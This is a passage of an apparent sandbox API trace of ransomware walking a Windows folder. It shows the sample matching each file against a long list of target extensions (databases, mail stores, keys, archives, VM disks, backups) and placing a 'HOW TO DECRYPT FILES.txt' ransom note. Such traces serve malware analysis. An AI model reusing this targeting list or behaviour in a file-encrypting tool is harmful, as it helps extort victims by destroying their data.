(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.nd") returned 0 [0119.174] lstrlenA (lpString="*.nd") returned 4 [0119.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.tlg") returned 0 [0119.174] lstrlenA (lpString="*.tlg") returned 5 [0119.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.lgb") returned 0 [0119.174] lstrlenA (lpString="*.lgb") returned 5 [0119.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.mov") returned 0 [0119.174] lstrlenA (lpString="*.mov") returned 5 [0119.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.xdw") returned 0 [0119.174] lstrlenA (lpString="*.xdw") returned 5 [0119.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.ods") returned 0 [0119.174] lstrlenA (lpString="*.ods") returned 5 [0119.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.wav") returned 0 [0119.174] lstrlenA (lpString="*.wav") returned 5 [0119.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.mp3") returned 0 [0119.174] lstrlenA (lpString="*.mp3") returned 5 [0119.174] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.aiff") returned 0 [0119.174] lstrlenA (lpString="*.aiff") returned 6 [0119.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.flac") returned 0 [0119.175] lstrlenA (lpString="*.flac") returned 6 [0119.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.m4a") returned 0 [0119.175] lstrlenA (lpString="*.m4a") returned 5 [0119.175] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll", pszSpec="*.csv") returned 0 [0119.175] lstrlenA (lpString="*.csv") returned 5 [0119.175] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Dynamic.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.175] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.175] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Dynamic.ni.dll.aux") returned -1 [0119.175] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Dynamic.ni.dll.aux") returned -1 [0119.175] lstrcmpiA (lpString1="", lpString2="System.Dynamic.ni.dll.aux") returned -1 [0119.175] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll") returned="System.Dynamic.ni.dll" [0119.175] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\" [0119.175] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\") returned="" [0119.175] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\HOW TO DECRYPT FILES.txt" [0119.175] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\how to decrypt files.txt")) returned 0x20 [0119.176] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\", lpString2="System.Dynamic.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux" [0119.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.176] lstrlenA (lpString="*.ems") returned 5 [0119.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.db") returned 0 [0119.176] lstrlenA (lpString="*.db") returned 4 [0119.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.dbf") returned 0 [0119.176] lstrlenA (lpString="*.dbf") returned 5 [0119.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.myox") returned 0 [0119.176] lstrlenA (lpString="*.myox") returned 6 [0119.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.myo") returned 0 [0119.176] lstrlenA (lpString="*.myo") returned 5 [0119.176] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qbw") returned 0 [0119.176] lstrlenA (lpString="*.qbw") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qbb") returned 0 [0119.177] lstrlenA (lpString="*.qbb") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qbm") returned 0 [0119.177] lstrlenA (lpString="*.qbm") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qbo") returned 0 [0119.177] lstrlenA (lpString="*.qbo") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qbx") returned 0 [0119.177] lstrlenA (lpString="*.qbx") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qba") returned 0 [0119.177] lstrlenA (lpString="*.qba") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qby") returned 0 [0119.177] lstrlenA (lpString="*.qby") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qbj") returned 0 [0119.177] lstrlenA (lpString="*.qbj") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.ofx") returned 0 [0119.177] lstrlenA (lpString="*.ofx") returned 5 [0119.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.qif") returned 0 [0119.178] lstrlenA (lpString="*.qif") returned 5 [0119.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.mye") returned 0 [0119.178] lstrlenA (lpString="*.mye") returned 5 [0119.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.mbox") returned 0 [0119.178] lstrlenA (lpString="*.mbox") returned 6 [0119.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.178] lstrlenA (lpString="*.eml") returned 5 [0119.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.pst") returned 0 [0119.178] lstrlenA (lpString="*.pst") returned 5 [0119.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.ost") returned 0 [0119.178] lstrlenA (lpString="*.ost") returned 5 [0119.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.idx") returned 0 [0119.178] lstrlenA (lpString="*.idx") returned 5 [0119.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.dbx") returned 0 [0119.178] lstrlenA (lpString="*.dbx") returned 5 [0119.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.sql") returned 0 [0119.178] lstrlenA (lpString="*.sql") returned 5 [0119.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.mdb") returned 0 [0119.179] lstrlenA (lpString="*.mdb") returned 5 [0119.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.fdb") returned 0 [0119.180] lstrlenA (lpString="*.fdb") returned 5 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.wab") returned 0 [0119.180] lstrlenA (lpString="*.wab") returned 5 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.dat") returned 0 [0119.180] lstrlenA (lpString="*.dat") returned 5 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.txt") returned 0 [0119.180] lstrlenA (lpString="*.txt") returned 5 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0119.180] lstrlenA (lpString="*.jpeg") returned 6 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.jpg") returned 0 [0119.180] lstrlenA (lpString="*.jpg") returned 5 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.png") returned 0 [0119.180] lstrlenA (lpString="*.png") returned 5 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.php") returned 0 [0119.180] lstrlenA (lpString="*.php") returned 5 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.cs") returned 0 [0119.180] lstrlenA (lpString="*.cs") returned 4 [0119.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.cpp") returned 0 [0119.181] lstrlenA (lpString="*.cpp") returned 5 [0119.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.rar") returned 0 [0119.181] lstrlenA (lpString="*.rar") returned 5 [0119.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.zip") returned 0 [0119.181] lstrlenA (lpString="*.zip") returned 5 [0119.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.html") returned 0 [0119.181] lstrlenA (lpString="*.html") returned 6 [0119.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.htm") returned 0 [0119.181] lstrlenA (lpString="*.htm") returned 5 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0119.182] lstrlenA (lpString="*.xlsx") returned 6 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.xls") returned 0 [0119.182] lstrlenA (lpString="*.xls") returned 5 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.mp4") returned 0 [0119.182] lstrlenA (lpString="*.mp4") returned 5 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.ppt") returned 0 [0119.182] lstrlenA (lpString="*.ppt") returned 5 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.pptx") returned 0 [0119.182] lstrlenA (lpString="*.pptx") returned 6 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.doc") returned 0 [0119.182] lstrlenA (lpString="*.doc") returned 5 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.dot") returned 0 [0119.182] lstrlenA (lpString="*.dot") returned 5 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.docx") returned 0 [0119.182] lstrlenA (lpString="*.docx") returned 6 [0119.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.7z") returned 0 [0119.182] lstrlenA (lpString="*.7z") returned 4 [0119.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.tar") returned 0 [0119.202] lstrlenA (lpString="*.tar") returned 5 [0119.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.bz2") returned 0 [0119.202] lstrlenA (lpString="*.bz2") returned 5 [0119.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.gz") returned 0 [0119.202] lstrlenA (lpString="*.gz") returned 4 [0119.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.mkv") returned 0 [0119.202] lstrlenA (lpString="*.mkv") returned 5 [0119.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.202] lstrlenA (lpString="*.eml") returned 5 [0119.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.msg") returned 0 [0119.202] lstrlenA (lpString="*.msg") returned 5 [0119.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.edb") returned 0 [0119.202] lstrlenA (lpString="*.edb") returned 5 [0119.202] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.accdb") returned 0 [0119.202] lstrlenA (lpString="*.accdb") returned 7 [0119.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.odb") returned 0 [0119.203] lstrlenA (lpString="*.odb") returned 5 [0119.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.java") returned 0 [0119.203] lstrlenA (lpString="*.java") returned 6 [0119.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.asm") returned 0 [0119.203] lstrlenA (lpString="*.asm") returned 5 [0119.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.pfx") returned 0 [0119.203] lstrlenA (lpString="*.pfx") returned 5 [0119.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.pem") returned 0 [0119.203] lstrlenA (lpString="*.pem") returned 5 [0119.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.p12") returned 0 [0119.203] lstrlenA (lpString="*.p12") returned 5 [0119.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.gpg") returned 0 [0119.203] lstrlenA (lpString="*.gpg") returned 5 [0119.203] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.vsd") returned 0 [0119.204] lstrlenA (lpString="*.vsd") returned 5 [0119.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.odg") returned 0 [0119.204] lstrlenA (lpString="*.odg") returned 5 [0119.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.raw") returned 0 [0119.204] lstrlenA (lpString="*.raw") returned 5 [0119.204] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.nef") returned 0 [0119.204] lstrlenA (lpString="*.nef") returned 5 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.svg") returned 0 [0119.205] lstrlenA (lpString="*.svg") returned 5 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.psd") returned 0 [0119.205] lstrlenA (lpString="*.psd") returned 5 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.vmx") returned 0 [0119.205] lstrlenA (lpString="*.vmx") returned 5 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0119.205] lstrlenA (lpString="*.vmdk") returned 6 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.vdi") returned 0 [0119.205] lstrlenA (lpString="*.vdi") returned 5 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.lay6") returned 0 [0119.205] lstrlenA (lpString="*.lay6") returned 6 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0119.205] lstrlenA (lpString="*.mpeg") returned 6 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.djvu") returned 0 [0119.205] lstrlenA (lpString="*.djvu") returned 6 [0119.205] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.tiff") returned 0 [0119.205] lstrlenA (lpString="*.tiff") returned 6 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.backup") returned 0 [0119.206] lstrlenA (lpString="*.backup") returned 8 [0119.206] PathMatchSpecA 